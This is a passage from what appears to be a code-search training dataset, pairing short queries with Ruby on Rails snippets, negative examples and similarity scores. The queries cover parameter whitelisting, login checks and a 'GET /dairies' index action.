:before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Only allow a trusted parameter "white list" through.
def inspection_params params.require(:inspection).permit(:code, :houhou, :houhou_eng, :basho, :basho_eng, :cost) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def expected_permitted_parameter_names; end", "def param_whitelist\n [:role, :title]\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def permitted_params\n []\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def filtered_parameters; end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n [:rating, :review]\n end", "def valid_params?; end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def filter_parameters; end", "def filter_parameters; end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def check_params; true; end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def list_params\n params.permit(:name)\n end", "def check_params\n true\n end", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def additional_permitted_params\n []\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end", "def allow_params_authentication!; end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end", "def quote_params\n params.permit!\n end", "def list_params\n params.permit(:list_name)\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def all_params; end", "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end", "def source_params\n params.require(:source).permit(all_allowed_params)\n end", "def user_params\n end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end", "def permitted_params\n @wfd_edit_parameters\n end", "def user_params\r\n end", "def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "def params_permit\n params.permit(:id)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def filter_params\n params.permit(*resource_filter_permitted_params)\n end", "def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end", "def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend", "def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def argument_params\n params.require(:argument).permit(:name)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def parameters\n nil\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end", "def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end", "def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end" ]
[ "0.7121987", "0.70541996", "0.69483954", "0.6902367", "0.6733912", "0.6717838", "0.6687021", "0.6676254", "0.66612333", "0.6555296", "0.6527056", "0.6456324", "0.6450841", "0.6450127", "0.6447226", "0.6434961", "0.64121825", "0.64121825", "0.63913447", "0.63804525", "0.63804525", "0.6373396", "0.6360051", "0.6355191", "0.62856233", "0.627813", "0.62451434", "0.6228103", "0.6224965", "0.6222941", "0.6210244", "0.62077755", "0.61762565", "0.61711127", "0.6168448", "0.6160164", "0.61446255", "0.6134175", "0.6120522", "0.6106709", "0.60981655", "0.6076113", "0.60534036", "0.60410434", "0.6034582", "0.6029977", "0.6019861", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.60184896", "0.60157263", "0.6005857", "0.6003803", "0.60012573", "0.59955895", "0.5994598", "0.5993604", "0.5983824", "0.5983166", "0.5977431", "0.597591", "0.5968824", "0.5965953", "0.59647584", "0.59647584", "0.59566855", "0.59506303", "0.5950375", "0.59485626", "0.59440875", "0.5930872", "0.5930206", "0.5925668", "0.59235454", "0.5917905", "0.59164816", "0.5913821", "0.59128743", "0.5906617", "0.59053683", "0.59052664", "0.5901591", "0.58987755", "0.5897456", "0.58970183", "0.58942604" ]
0.0
-1
Is a user currently logged on?
def user_action if controller.nil? || !controller.respond_to?(:session) || controller.session[:user].nil? return false end return true rescue return false end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def user_is_logged_in()\n user = get_user()\n if user != nil\n true\n else\n false\n end\n end", "def is_current_user(user)\n logged_in? && @current_user.id == user.id\n end", "def logged_in?\n\t\t\tcurrent_user.is_a? User\n\t\tend", "def user_logged_in?\n current_user.present?\n end", "def user_logged_in?\n current_user.present?\n end", "def current_user?(user)\n logged_in? and user == current_user\n end", "def logged_in?\n return session['current_user']\n end", "def logged_in?\n current_user.is_a? User\n end", "def user_is_logged_in?\n !!session[:user_id]\n end", "def logged_in?\n current_user != :false\n end", "def logged_in?\n current_user != :false\n end", "def logged_in?\n current_user.present?\n end", "def logged_in?\r\n current_user != :false\r\n end", "def logged_in?\n (current_user ? login_access : false).is_a?(User)\n end", "def logged_in?\n current_user != :false \n end", "def logged_in?\n if current_user\n true\n else\n false\n end\n end", "def logged_in?\n current_user\n end", "def logged_in?\n current_user\n end", "def logged_in?\n\t\tcurrent_user.present?\n\tend", "def logged_in?\n\t\t !!current_user\n end", "def logged_in?\n current_user_id.to_i > 0\n end", "def logged_in?\n !!logged_user\n end", "def current_user?(user)\n\t\tcurrent_user == user\n\tend", "def logged_in?\n current_user ? true : false;\n end", "def logged_in?\n\t current_user.is_a? User\n\tend", "def is_logged_in_user?\n session[:user_authenticated]\n end", "def logged_in?\n !!current_user\n end", "def logged_in?\n !!current_user\n end", "def logged_in?\n if current_user\n true\n else \n false\n end\n end", "def logged_in?\n \t\tcurrent_user.is_a? User\n \tend", "def logged_in\n current_user != nil\n end", "def user_logged_in?\n session[:user]\n end", "def current_user?(user)\r\n user == current_user\r\n end", "def user_is_logged_in?\n !!session[:user_id]\n end", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def logged_in?\n user._logged_in?\n end", "def logged_in?\n !!current_user\n end", "def logged_in?\n !!current_user\n end", "def logged_in?\n !!current_user\n end", "def logged_in?\n !!current_user\n end", "def logged_in?\n !!current_user\n end", "def logged_in?\n !!current_user\n end", "def logged_in?\n !!current_user\n end", "def logged_in?\n !!current_user\n end", "def logged_in?\n !!current_user\n end", "def current_user?\n return session[:user_id] != nil\n end", "def logged_in?\n current_user.present? # True neu user login\n end", "def logged_in?\n current_user\n end", "def user_logged_in?\n !current_user.nil?\n end", "def user_logged_in?\n !current_user.nil?\n end", "def user_logged_in?\n !current_user.nil?\n end", "def user_logged_in?\n !current_user.nil?\n end", "def user_logged_in?\n !current_user.nil?\n end", "def user_logged_in?\n !current_user.nil?\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def logged_in?\n\tcurrent_user.is_a? User\n end", "def logged_in?\n\n if session[:current_user_id]\n return true\n end\n \n #Default return false\n false\n \n end", "def logged_in?\n !current_user.blank?\n end", "def current_user?(user)\n \t\tuser == current_user\n \tend", "def current_user?(user)\n \tuser == current_user\n \tend", "def current_user?(user)\n \tuser == current_user\n \tend", "def logged_in?\n !!current_user #return true or false if current_user is exist\n end", "def current_user?(user)\n \t\tuser == current_user\n \tend", "def current_user?(user)\n\t\tuser==current_user\n\tend", "def logged_in?\n current_user != nil ? true : false\n end", "def user_login?\n\t !!current_user\n\tend", "def logged_in?\n return true if self.current_user\n return false\n end", "def user_logged_in?\n session[:user_id].present?\n end", "def logged_in?\n !!getCurrentUser\n end", "def logged_in?\n return false unless session[:user_id]\n\n User.find_by_id(session[:user_id]).present?\n end", "def logged_in?\n ## to query if the logged in, call the current_user with !! preceeded, this turns it to true or false\n # TRUE or FALSE\n !!current_user\n end", "def logged_in?\n current_user != :false\n end", "def user?\n get_mode == :user\n end", "def logged_in?\n !!current_user\n end", "def logged_in?\n !!current_user\n end", "def logged_in?\n !!current_user\n end", "def logged_in?\n !!current_user\n end", "def logged_in?\r\n\t\t!current_user.nil?\r\n\tend", "def logged_in?\n @current_user.is_a?(User)\n end", "def logged_in?\r\n !!current_user\r\n end", "def logged_in?\n\t\t!current_user.nil?\n\tend", "def user_logged?\n !session[:user_id].nil?\n end", "def logged_in?\n !!logged_in_user \n end", "def logged_in?\n\t\t!current_user.nil?\n\tend", "def logged_in?\n\t\t!current_user.nil?\n\tend" ]
[ "0.8686961", "0.85194045", "0.84652984", "0.8420208", "0.8420208", "0.8411225", "0.840489", "0.83832395", "0.8329196", "0.83206964", "0.83206964", "0.831728", "0.8312811", "0.83047986", "0.82938427", "0.8292668", "0.82857966", "0.82857966", "0.8273226", "0.82671106", "0.8266292", "0.8256422", "0.8246153", "0.8245725", "0.82346267", "0.82343775", "0.8225545", "0.8225545", "0.8222224", "0.8216338", "0.82140017", "0.82075465", "0.8205306", "0.8201506", "0.8198095", "0.81975037", "0.81975037", "0.81975037", "0.81975037", "0.81975037", "0.81975037", "0.81975037", "0.81975037", "0.81975037", "0.81975037", "0.8196235", "0.81904024", "0.81904024", "0.81904024", "0.81904024", "0.81904024", "0.81904024", "0.81904024", "0.81904024", "0.81904024", "0.8178087", "0.81746304", "0.81633663", "0.81559515", "0.81559515", "0.81559515", "0.81559515", "0.81559515", "0.81559515", "0.8150299", "0.8150299", "0.8150299", "0.8150299", "0.8150299", "0.8150299", "0.8150299", "0.8146826", "0.8142824", "0.81296706", "0.8125038", "0.8120934", "0.8120934", "0.8120636", "0.81174177", "0.8116029", "0.8115937", "0.81110615", "0.8108342", "0.81049687", "0.8102173", "0.8100836", "0.8100349", "0.8095436", "0.8085204", "0.8084521", "0.8084521", "0.8084521", "0.8084521", "0.80802965", "0.80802536", "0.8075836", "0.8075227", "0.80749756", "0.80746526", "0.8074241", "0.80735564" ]
0.0
-1
GET /dairies GET /dairies.json
def index @dairies = Dairy.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @dices = Dice.all\n\n render json: @dices\n end", "def index\n @diaries = current_user.diaries.all\n respond_to do |format|\n format.html {render :index}\n format.json { render json: @diaries }\n end\n end", "def index\n @my_dairies = MyDairy.all\n end", "def show\n render json: @dice\n end", "def index\n @dossiers = Dossier.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @dossiers }\n end\n end", "def show\n @kf_diary = Kf::Diary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kf_diary }\n end\n end", "def show\n @diary = current_user.diaries.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @diary }\n end\n end", "def consulta\n fiesta = Fiesta.all\n render json: fiesta\n end", "def index\n @dnas = Dna.all\n\n render json: @dnas\n end", "def index\n @dinos = Dino.where(query_params)\n render json: @dinos\n end", "def index\n @diciplinas = Diciplina.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @diciplinas }\n end\n end", "def show\n render json: @diet, status: 200, root: true\n end", "def index\n @ducks = Duck.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ducks }\n end\n end", "def show\n @diary = Diary.find(params[:id])\n\n # respond_to do |format|\n # format.html # show.html.erb\n # format.json { render json: @diary }\n \n end", "def index\n @deseases = Desease.order(:id)\n\n render json: @deseases\n end", "def show\n @idiom = Idiom.find(params[:id])\n @essays = Essay.where(idiom_id: params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @idiom }\n end\n end", "def show\n @drip = Drip.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @drip }\n end\n end", "def index\n @birds = Bird.all.to_a\n begin\n respond_to do |format|\n format.json { render json: {items: @birds, description: \"List all visible birds in the registry\", additionalProperties: false, title: \"POST /birds [request]\",:status => OK } }\n end\n rescue => e\n render json: ({:status => INTERNAL_SERVER_ERROR})\n end\n end", "def meals\n get(\"/user/#{@user_id}/meals.json\")\n end", "def index\n @bounties = Bounty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @bounties }\n end\n end", "def index\n @days = @trip.days.order(trip_day: :asc)\n render json: @days, include: [:activities]\n end", "def index\n Rails.logger.info('๐Ÿ‘ป Disraptor: Showing available routes.')\n\n routes = Disraptor::Route.find_all()\n\n render json: { 'disraptor/routes': routes }\n end", "def index\n @breeds = Breed.all\n\n render json: @breeds\n end", "def index\n @dia_eventos = DiaEvento.all\n render json: @dia_eventos\n end", "def index\n @biddings = Bidding.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @biddings }\n end\n end", "def index\n @decks = Deck.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @decks }\n end\n end", "def index\n @decks = Deck.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @decks }\n end\n end", "def show\n @internship = Internship.find(params[:id])\n @diaries = Diary.where(:internship_id => @internship.id).paginate(:page => params[:page]).order('id DESC')\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @internship }\n end\n end", "def index\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @life_insurances }\n end\n end", "def index\n info = Aws.get_recipes_from_db\n render :json => info\n end", "def show\n @disability = Disability.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @disability }\n end\n end", "def index\n @denuncia = Denuncium.all\n\n render json: @denuncia\n end", "def diaries\n\t\t@diaries = current_user.diaries.desc(:date).limit(7)\n\n\t\trender 'clients/diary/diaries' \n\tend", "def index\n @illnesses = Illness.all\n\n render json: @illnesses\n end", "def index\n @karyalay_caterers = KaryalayCaterer.all\n render json: @karyalay_caterers\n end", "def index\n @bills = @dwelling.bills\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bills }\n end\n end", "def index\n if params[:patient_id]\n @patient = Patient.find(params[:patient_id])\n @diseases = @patient.diseases\n else\n @patient = nil\n @diseases = Disease.all\n end\n respond_to :html, :json, :js\n end", "def show\n @disease = Disease.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @disease }\n end\n end", "def index\n @cow_dairies = CowDairy.all\n end", "def index\n @drone_attacks = DroneAttack.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :layout => 'blank'}\n end\n end", "def index\n @recipes = Recipe.all\n render json: @recipes\n end", "def index\n @breeds = Breed.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @breeds }\n end\n end", "def index\n recipes = Recipe.all\n render status: :ok, json: recipes\n end", "def index\n @filials = Filial.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @filials }\n end\n end", "def index\n @disciplines = Discipline.all\n\n render json: @disciplines\n end", "def index\n @fiction = Fiction.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fiction }\n end\n end", "def index\n @ways_of_admissions = WaysOfAdmission.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => 